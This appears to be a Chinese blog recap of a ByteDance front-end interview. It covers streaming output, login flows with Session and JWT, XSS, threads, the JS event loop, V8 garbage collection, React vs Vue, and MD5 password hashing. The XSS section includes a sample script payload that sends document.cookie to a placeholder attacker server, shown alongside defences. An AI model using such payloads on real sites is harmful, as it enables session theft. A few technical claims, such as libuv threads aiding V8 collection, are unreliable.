字节面试复盘2026/07/03
复盘来自2026/07/03 字节扣子编程开发 人生首面~~~
1.流式输出是怎么实现的
1. 核心原理
流式输出本质是HTTP分块长连接,区别普通一次性响应:普通接口等后端处理完返回完整JSON;流式是大模型边生成文字、后端边分段推送,前端边接收边渲染,解决长回答等待空白的体验问题。
市面上两种实现方案:SSE、Fetch ReadableStream,项目主流用后者。
2. 方案一:SSE(EventSource)
- 底层:HTTP单向长连接,固定响应头
text/event-stream; - 局限:仅支持GET,参数拼在URL,对话历史很长时会超限,无法传递复杂请求体;
- 流程:前端new EventSource监听onmessage,后端按
data: {}\n\n格式推送分片,收到[DONE]关闭连接; - 适用:简单短提问场景,业务对话很少用。
3. 方案二:Fetch + ReadableStream(项目主流,重点讲)
- 请求层
使用POST发送完整对话messages,搭配AbortController绑定signal,用户点击停止可直接中断请求。 - 后端响应规范
开启Transfer-Encoding: chunked分块传输,不用提前返回内容长度;模型开启stream=true,每产出一个token立刻下发分片,统一携带data标识,末尾返回结束标记。 - 前端流处理逻辑
- 通过
res.body.getReader()获取二进制读取器; - TextDecoder将二进制转字符串,设置stream模式持续解析;
- 设计缓冲区buffer,防止一次分片不完整导致解析错乱;
- 根据双换行
\n\n切割每一条消息,循环解析JSON,持续拼接文本实时更新页面视图; - 捕获done状态或
[DONE]标记,结束流式渲染。
4. 补充边界处理
- 中断生成:AbortController.abort()终止流读取;
- 乱码/断片:缓冲区缓存不完整字符串,下次拼接再解析;
- 异常捕获:流读取失败、接口报错及时关闭读取器,给出错误提示;
- 性能优化:避免频繁DOM渲染,可做防抖或者文本片段增量插入。
2.简易登录系统完整流程
一、数据库:用户表 user 极简设计
字段只保留登录核心信息
| 字段名 | 类型 | 作用 |
|---|---|---|
| id | int 主键自增 | 用户唯一ID |
| username | varchar(50) | 登录账号,唯一不可重复 |
| password | varchar(100) | 加密后的密码,不存明文 |
| create_time | datetime | 注册时间 |
核心规则:密码后端用 bcrypt/sha256+盐加密存储。
二、整体完整流程
1. 前端页面
- 展示输入框:用户名、密码、登录按钮
- 用户输入账号密码,点击登录
- 前端基础校验:
- 账号、密码不能为空
- 长度符合规则(账号≥3位,密码≥6位)
- 校验不通过:直接页面提示,不请求后端
- 校验通过:封装成 JSON 请求,发送 POST 请求到后端登录接口
请求示例(Body)
{
"username": "test001",
"password": "123456abc"
}
2. 后端接收请求第一层:路由/拦截器
- 跨域校验、请求格式校验(必须是JSON)
- 判断请求方法是否为POST,非法请求直接返回错误
- 提取请求体里 username、password 两个参数,参数缺失返回提示
3. 后端第二层:数据库查询
- 根据传入 username 查询 user 表
- 分支判断:
- 查无此用户 → 返回:账号不存在
- 查询到用户,取出数据库里加密密码
4. 后端第三层:密码比对
- 拿前端传的明文密码 + 数据库密码盐值,执行相同加密算法
- 对比加密后的两段字符串:
- 不一致 → 返回:密码错误
- 一致 → 登录校验通过
5. 登录成功:生成身份凭证
这是Web开发中两种最主流的用户登录后生成身份凭证、保持登录状态的方案,核心区别在于状态存在哪里、怎么传递、怎么验证。
一、方案A:Session + Cookie
完整流程
- 登录验证:你输入账号密码,后端验证通过。
- 创建Session:后端生成唯一的SessionID(如
sess_abc123),并在服务器内存/Redis/数据库中创建Session,存入user_id、username等信息。 - 下发Cookie:后端通过响应头
Set-Cookie: JSESSIONID=sess_abc123; HttpOnly,让浏览器自动保存这个Cookie。 - 后续请求:浏览器访问需要权限的接口时,自动在请求头带上这个Cookie。
- 鉴权:后端从Cookie中取出
SessionID,去服务器存储里查对应的Session,查到就认为你已登录。
核心特点
- 有状态:服务器必须存储Session数据。
- 依赖Cookie:浏览器自动管理,前端几乎不用写代码。
- 优点:成熟、易实现、服务器可随时销毁Session(强制下线)。
- 缺点:集群/分布式需做Session共享(如Redis)、跨域麻烦、移动端支持差。
二、方案B:JWT Token
完整流程
- 登录验证:你输入账号密码,后端验证通过。
- 生成JWT:后端用密钥加密,生成JWT字符串。JWT分三部分:
- Header:算法类型(如HS256)。
- Payload:存放
user_id、username、过期时间(不加密,仅Base64编码)。 - Signature:签名,防篡改。
- 返回Token:后端把JWT字符串直接返回给前端(通常在响应体)。
- 前端存储:前端存在
localStorage或Cookie里。 - 后续请求:前端手动在请求头加
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...。 - 鉴权:后端用密钥验证签名是否合法、是否过期,合法就直接从Payload里取用户信息,不用查数据库/Redis。
核心特点
- 无状态:服务器不存任何用户登录状态,天然支持水平扩展。
- 自包含:Token里自带用户信息。
- 优点:跨域友好、移动端/小程序/APP全支持、集群无需共享。
- 缺点:注销困难(需黑名单)、Payload不能存敏感信息、体积比SessionID大。
三、核心对比
| 维度 | Session + Cookie | JWT Token |
|---|---|---|
| 状态存储 | 服务器端(内存/Redis) | 客户端(Token自身) |
| 传递方式 | 浏览器自动带Cookie | 前端手动放Authorization头 |
| 鉴权逻辑 | 查SessionID → 取用户信息 | 验签名 → 直接读Payload |
| 分布式 | 需要Session共享(Redis) | 天然支持 |
| 跨域 | 受Cookie同源策略限制 | 灵活,无限制 |
| 注销 | 简单(删Session) | 复杂(需黑名单) |
| 适用场景 | 传统Web、管理后台 | 前后端分离、APP、微服务 |
简单说:Session是服务器记着你,JWT是你自己带着证明。
需要我给你写一个Spring Boot + JWT的最简登录鉴权代码示例吗?
三、补充关键安全点
- 密码永不明文传输、永不明文入库
- 登录接口加请求限流,防止暴力破解撞库
- Token 设置过期时间,支持退出登录销毁凭证
- 重要接口增加登录鉴权拦截,未登录直接拦截跳转登录页
3.XSS 攻击完整讲解,结合你刚才的登录系统场景
一、什么是 XSS
全称跨站脚本攻击(Cross-Site Scripting),因为CSS重名所以简写XSS。
核心原理:黑客把恶意JS代码注入页面,浏览器分不清是正常代码还是恶意脚本,直接执行,窃取本地存储、Cookie、账号凭证。
XSS本质是页面把用户可控内容当成代码执行;防护核心:不让恶意脚本有执行机会,同时把登录凭证(Cookie/Token)对JS不可见。
二、三类常见XSS
1. 存储型XSS
流程:
- 黑客在可提交内容的地方(昵称、简介、评论、用户名)输入恶意脚本
示例恶意内容:<script>fetch('https://黑客服务器?c='+document.cookie)</script> - 后端没过滤,直接存入数据库user表
- 其他用户打开页面,后端取出数据原样渲染到HTML
- 页面加载时自动执行JS,把当前用户Cookie/Token发给黑客
对应你的登录系统风险点
如果用户名允许输入特殊标签,黑客注册账号名为上面那段script;其他管理员查看用户列表时,页面渲染用户名就触发XSS,盗取管理员登录凭证。
2. 反射型XSS(URL传参触发)
恶意脚本放在URL参数里,诱导用户点开链接。
例:xxx.com/login?name=<script>偷token代码</script>
后端直接把name参数拼到页面HTML,点开链接立刻执行脚本。
3. DOM型XSS(纯前端漏洞,后端无过错)
后端返回数据干净,但前端JS直接把参数插入DOM,没做转义。
比如前端取URL参数直接 innerHTML 渲染,无需后端存储,前端代码漏洞导致。
三、XSS对你登录系统的致命危害
- 盗取 Cookie / SessionID,劫持账号登录
- 读取 localStorage 里存的 JWT Token,黑客直接伪造身份调用所有接口
- 篡改页面,伪造假登录弹窗骗用户二次输入账号密码
- 盗用当前用户权限,自动发起操作(删数据、改资料)
四、前后端配套防御方案(落地到登录系统)
后端防御
- 输入过滤转义
所有存入user表的字段(用户名、简介),转义特殊字符:< > " ' &,把标签变成文本字符,浏览器不会识别为脚本。 - CSP 内容安全策略(响应头)
服务端返回Content-Security-Policy,限制页面只能加载信任域名的JS,禁止内联脚本执行,大幅阻断XSS。 - Cookie 安全属性
登录Session Cookie增加两个关键标识:
HttpOnly:JS无法读取document.cookie,就算XSS成功也偷不到会话CookieSecure:仅HTTPS下携带Cookie
前端防御
- 禁止使用 innerHTML、document.write 直接渲染用户输入;优先用
textContent,只会当成纯文本展示 - JWT不要存在localStorage(极易被XSS读取),重要系统存HttpOnly Cookie
- 渲染用户展示内容前,前端手动转义特殊符号
额外辅助防护
- 输入长度限制,禁止超长特殊标签串
- 登录接口增加验证码、限流,就算凭证泄露也增加劫持成本
4.进程 & 线程
1. 基础定义
进程
操作系统资源分配最小单位。
一个独立程序就是一个进程,拥有独立内存、文件句柄、CPU资源、堆,进程之间完全隔离,互不干扰。
例:你后端启动的 Python/Java Web登录服务 = 1个进程;浏览器、微信都是单独进程。
线程
进程内部执行最小调度单位(轻量级)。
一个进程里可以开多条线程,共享进程全部资源(全局变量、内存、端口),每条线程独立走一段代码逻辑,切换开销远小于进程。
例:登录服务进程里,一条线程处理用户登录请求,一条线程写日志,一条线程定时清理过期Token。
2. 核心区别对比
- 资源隔离
- 进程:资源独立,A进程崩溃不会影响其他进程;进程通信麻烦(管道、socket、共享内存)
- 线程:同进程内资源共享,一条线程异常崩溃会直接干掉整个进程;线程间通信简单,直接读写全局变量
- 切换开销
- 进程切换:需要刷新页表、缓存,开销大
- 线程切换:仅切换寄存器,开销极小
- 内存空间
进程:私有地址空间;线程:共用进程地址空间
多进程部署(多实例)
启动3份登录服务进程,监听不同端口,Nginx负载均衡分发请求。
优点:一个进程挂了,另外两个正常提供登录服务,稳定性高;
缺点:内存占用翻倍,进程间无法共享在线用户登录缓存。
多线程处理请求(单进程多线程)
单个登录服务进程,开启线程池,每来一个登录请求分配一条线程处理:接收参数→查用户表→密码校验→下发Token。
优点:占用资源少,线程共享用户缓存;
风险:某条线程代码死循环/报错,整个登录服务直接宕机。
并发 && 并行
- 并发:单CPU快速切换线程/进程,看起来同时运行;
- 并行:多核CPU,多个线程/进程真正同时执行。
5.讲解一下JS 数据源是什么、底层设计。js的单线程多线程怎么控制的
1. JS 数据源概念
JS 本身没有专门叫「数据源」的内置模块,行业里说的 JS 数据源分两类:
- 内存数据源:JS 原生数据容器(数组 Array、对象 Object、Map、Set、WeakMap 等),存放页面临时数据;
- 远端数据源:接口后端返回数据(Axios/Fetch 请求)、本地持久化数据源(localStorage/sessionStorage/indexedDB);
- 框架封装数据源(Vue/React/表格组件):组件封装的 DataSource,封装分页、筛选、排序、请求逻辑。
2. 原生基础数据源底层设计
(1)Object 普通对象
- 底层:哈希表(HashTable),键值对存储
- 设计特点:
- key 只能是字符串/Symbol,数字会自动转字符串;
- 原型链会继承属性,遍历会拿到原型上的字段;
- 查询、增删平均 O(1),无序(ES6 后按插入顺序);
- 缺陷:无法存复杂对象作为 key,没有内置去重、迭代 API。
(2)Array 数组
底层是连续内存 + 哈希混合存储(V8 引擎):
- 密集数组:下标连续数字,分配连续内存,读写极快;
- 稀疏数组:下标断层(
arr[100] = 1),改用哈希表存储空位,性能下降;
设计思路:
- 封装批量操作 API:map/filter/reduce 统一数据处理;
- 长度可动态扩容,自动分配内存,不用手动管理;
适合有序列表类数据源。
(3)Map / WeakMap(标准键值数据源)
Map 设计优化 Object 的缺陷:
- key 支持任意类型(对象、数字、函数);
- 自带 size、有序、纯自身键值,不遍历原型;
WeakMap 特殊设计:弱引用 - key 必须是对象,不会阻止 GC 垃圾回收;
- 无迭代、无 size,适合缓存临时数据源,自动释放内存。
(4)Set / WeakSet(去重数据源)
存储唯一值,自动去重;WeakSet 仅存对象、弱引用。
3. 远端持久化数据源设计
- localStorage/sessionStorage
- 底层:浏览器持久化字符串存储,只能存字符串;
- 设计限制:5MB 容量,同步读写(大数据会卡主线程);
- 使用规范:存取 JSON 序列化对象数据源。
- IndexedDB
- 浏览器内置异步数据库,真正结构化数据源;
- 设计:事务、索引、游标,支持大量二进制/对象数据,异步不阻塞主线程;
- 网络数据源(Fetch/Axios)
设计分层:- 请求层:封装请求头、超时、拦截器;
- 数据转换层:响应 JSON 自动转 JS 对象;
- 缓存层:内存缓存/本地缓存重复接口数据;
属于远程异步数据源。
4. 组件库 DataSource(业务数据源设计)
以 Ant Design Table 为例标准设计:
const dataSource = [
{ id:1, name:'xxx' }
]
内部封装逻辑分层:
- 原始数据层:保存后端返回数组;
- 处理层:分页、过滤、排序、搜索;
- 状态层:loading、总条数、当前页码;
- 渲染层:处理后数据交给表格渲染;
核心设计思想:数据与视图分离,统一管理数据逻辑。
6. JS 单线程 + 异步多任务
1. 核心结论
JavaScript 执行主线程永远只有 1 条,不存在多线程并发执行 JS 代码;
所谓“多任务效果”靠:事件循环 EventLoop + 浏览器宿主多工作线程 配合实现。
1)为什么 JS 设计成单线程?
JS 初衷是操作 DOM,如果多线程会出现冲突:
线程A删除DOM、线程B修改同一DOM,无法确定执行顺序,加锁会极度复杂;
单线程保证 DOM 操作顺序可控,简化前端开发模型。
2. 浏览器底层真正的多线程(宿主线程,不是JS线程)
浏览器会开启多条独立工作线程,这些线程不归JS管理,只是帮主线程干活:
- JS 主线程:唯一执行 JS、操作 DOM;
- 定时器线程:处理 setTimeout/setInterval;
- HTTP 请求线程:处理 Fetch/Ajax;
- UI 渲染线程:绘制页面(和JS主线程互斥,互斥锁);
- WebWorker 线程:独立子线程,可跑纯计算JS,不能操作DOM;
运行机制拆解(单线多任务控制逻辑)
步骤1:主线程同步代码优先执行
主线程有调用栈 Call Stack,所有同步代码从上到下入栈执行,栈空才会去处理异步任务。
步骤2:异步任务交给浏览器其他线程处理
遇到异步代码不会阻塞主线程,直接丢给对应后台线程:
- setTimeout → 定时器线程倒计时;
- fetch 请求 → 网络线程等待响应;
- 点击事件 → 事件线程监听点击;
后台线程完成任务后,不会立刻执行回调,而是把回调函数推入对应队列。
步骤3:两大任务队列(控制执行优先级)
- 宏任务队列 Macrotask(优先级低)
setTimeout、setInterval、script整体代码、IO、UI渲染 - 微任务队列 Microtask(优先级高)
Promise.then/catch/finally、await、queueMicrotask、MutationObserver
步骤4:事件循环 EventLoop 调度规则(核心控制逻辑)
- 清空调用栈;
- 一次性全部清空微任务队列所有回调;
- 取一个宏任务放入调用栈执行;
- 重复循环 1-3;
举个直观例子
console.log('同步1');
setTimeout(()=>{
console.log('宏任务')
},0)
Promise.resolve().then(()=>{
console.log('微任务')
})
console.log('同步2');
执行顺序:
同步1 → 同步2 → 微任务 → 宏任务
控制逻辑:同步栈清空 → 榨干所有微任务 → 再执行单个宏任务。
3. WebWorker:真正的多线程方案(JS多线程控制)
主线程只能有一个,但 WebWorker 可以创建独立 JS 子线程,弥补单线程计算阻塞问题。
设计规则
- Worker 线程无法访问 DOM、window、document,只能纯计算;
- 线程之间完全隔离,不能共享变量;
- 通信依靠
postMessage传递数据(拷贝传递,不共享内存); - 主线程和Worker通过消息事件互相收发数据;
使用场景
大数据循环、复杂算法、文件解析,避免主线程卡死页面。
4. 如何手动控制 JS “单线多任务”顺序?
- 控制优先级:微任务永远早于宏任务;
- 串行异步:Promise 链式调用 / async await 保证顺序;
- 并行异步:Promise.all / allSettled 并发请求;
- 耗时计算:丢进 WebWorker 防止阻塞主线程;
- 节流防抖:控制高频宏任务(滚动、输入)执行频率;
7.js垃圾回收机制
一、V8 内存分区
堆分为新生代、老生代,两套垃圾回收机制分开处理
- 新生代(新生区)
存放短期临时对象:接口临时变量、请求临时 JSON、函数局部变量,存活时间很短,容量小。
采用算法:复制算法(Scavenge)
把新生代划分为 From / To 两块等大空间。
- From 存对象,To 空闲;
- GC 触发时,把 From 里存活对象复制到 To;
- 复制完成后,直接清空整个 From,交换 From/To 身份。
优点:清理快、无内存碎片;缺点:只能用一半堆内存。
新生代对象经历 2 次 GC 存活,晋升到老生代。
- 老生代(老年代)
长期存活对象:全局缓存、常驻内存的配置、长连接对象,数量多、体积大。
两套组合使用:标记清除 + 标记压缩
1)标记阶段:从根对象(全局、栈变量)遍历,标记所有可达存活对象;
2)清除阶段:未被标记的判定为垃圾,直接释放;
单纯标记清除会产生大量内存碎片,内存分配大对象失败。
3)标记压缩:碎片多时触发,把存活对象往一侧平移合并,消除碎片。
二、完整垃圾回收流程
- 程序不断创建对象,堆内存持续上涨;
- 达到阈值自动触发 GC,也可手动触发(不推荐生产用);
- 暂停 JS 主线程(STW 停顿 Stop-The-World),整个业务代码卡住;
- 新生代/老生代分别执行回收逻辑;
- GC 结束,恢复主线程,继续处理登录、接口请求。
三、关键:为什么单线程 GC 会 STW?
JS 主线程和 GC 共用一套堆内存,回收时如果同时执行业务代码:
一边新建对象、一边移动/删除对象,引用关系会彻底混乱。
所以必须暂停所有 JS 逻辑,等 GC 完成再恢复。
四、V8 优化手段,缓解卡顿
- 增量标记
老生代标记不全一次性做完,拆分成小段;标记一小段,恢复主线程处理业务,交替执行,大幅降低单次停顿时长。 - 并行回收
底层 libuv 工作线程辅助做清理复制,主线程只做标记,利用多核分担 GC 压力。 - 分代回收策略
短期临时对象快速在新生代回收,不会堆积到老生代,减少老生代 GC 触发频率。
8.React vs Vue 核心区别
一、核心设计思想
Vue
模板 + 响应式双向绑定
- 分开写法:HTML 写模板,JS 写逻辑,贴近传统前端开发;
- 核心:
Object.defineProperty(Vue2)/Proxy(Vue3)主动劫持数据,数据一变自动更新视图; - 天然双向绑定
v-model,表单开发极简。
React
JSX 一切皆JS,单向数据流
- 模板直接写在JS里(JSX),HTML和逻辑混写;
- 无主动劫持,靠状态驱动:修改
state才会重渲染; - 强制单向数据流,没有原生双向绑定,需要手动封装。
二、语法层面
- 模板写法
- Vue:独立
<template>,指令v-if/v-for/v-bind/v-on - React:JSX,用三元代替v-if,map代替v-for,
{}插值,className代替class
- 事件
- Vue:
@click="fn" - React:
onClick={fn}
- 双向绑定
- Vue:
v-model="value"一行搞定 - React:受控组件,value + onChange 手动实现
三、响应式原理
Vue2
Object.defineProperty 劫持对象已有属性
- 缺陷:新增/删除对象属性、数组下标修改无法监听,需要
$set
Vue3
Proxy 代理整个对象
- 可监听新增、删除、数组所有操作,无
$set,性能更好
React
无数据劫持,不可变 State
- 直接修改state不会更新视图,必须
setState/setXXX替换引用; - 对比新旧虚拟DOM,差异更新页面;
- 优势:逻辑统一,无隐性监听陷阱;缺点:简单场景代码偏多
四、虚拟DOM & 更新机制
- Vue:响应式依赖收集
组件会精准收集当前模板用到的变量,只更新依赖变化的节点,粒度细,性能友好; - React:默认整组件重渲染
只要父state更新,子组件默认全部重渲染,需要手动优化memo/useMemo/useCallback减少渲染。
五、编程范式
- Vue:选项式API(Vue2)/组合式API(Vue3)
选项式把data/methods/watch分开,入门简单;组合式复用逻辑; - React:纯函数组件 + Hooks
无选项配置,全部用函数+钩子管理状态、生命周期,逻辑聚合复用更灵活。
9.MD5 存储密码存在的完整安全问题
单纯MD5存储密码有三大致命问题:算法运算过快易暴力破解、存在哈希碰撞、无随机盐时彩虹表可批量还原明文;即使加盐单次MD5也不足以抵御现代撞库攻击,生产环境应当使用bcrypt这类自适应慢哈希算法存储用户密码。
一、核心底层缺陷:MD5 哈希算法本身已被破解
-
不可逆,但可彩虹表暴力破解
MD5 只是单向哈希,不能直接反推原文,但网上存在海量彩虹表(预计算好的明文→MD5映射库)。
简单弱密码(123456、abc123)的MD5值一秒就能查表还原出原始密码。 -
存在哈希碰撞
已经找到两段完全不同的字符串,经过MD5运算后输出一模一样的哈希值。极端场景下攻击者可以构造碰撞数据绕过密码校验。 -
算法速度太快,暴力破解成本极低
MD5运算轻量化,CPU/GPU一秒能生成上亿条哈希。黑客可以短时间内遍历大量密码字典撞库,几分钟就能破解大量弱口令。
二、不加盐MD5的致命业务风险(登录系统场景)
1. 相同密码哈希值完全一致
多个用户使用同一个密码,数据库里存的MD5字符串一模一样。
一旦泄露数据库,黑客能快速筛选出所有共用相同密码的账号,批量盗号。
2. 数据库拖库即大量账号泄露
如果网站数据库被拖走,全部MD5密码会丢去彩虹表匹配,用户明文密码大量暴露。
很多用户会复用同一套账号密码,进而泄露微信、支付等其他平台账号。
三、简单加盐MD5依然有漏洞
即使给密码加固定盐 md5(password + salt),仍有缺陷:
- 全局固定盐泄露
盐写死在代码里,一旦源码泄露,等同于无盐,彩虹表依然能批量破解。 - 没有迭代加重计算量
只做一次MD5,运算速度太快,GPU爆破效率极高。 - 无法抵御现代暴力破解手段。
四、合规与标准淘汰问题
- MD5 早已被各大安全标准弃用,等保、网络安全规范不允许用MD5存储用户密码;
- 国家网络安全要求存储口令必须使用慢哈希算法(bcrypt、Argon2、PBKDF2)。
五、正确替代方案(生产登录系统推荐)
- bcrypt(首选)
自动生成随机盐、内置多次迭代,算法运算慢,GPU爆破成本极高,每个用户盐值独立。 - PBKDF2 / Argon2
适合需要自定义迭代次数场景,安全性强。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐

所有评论(0)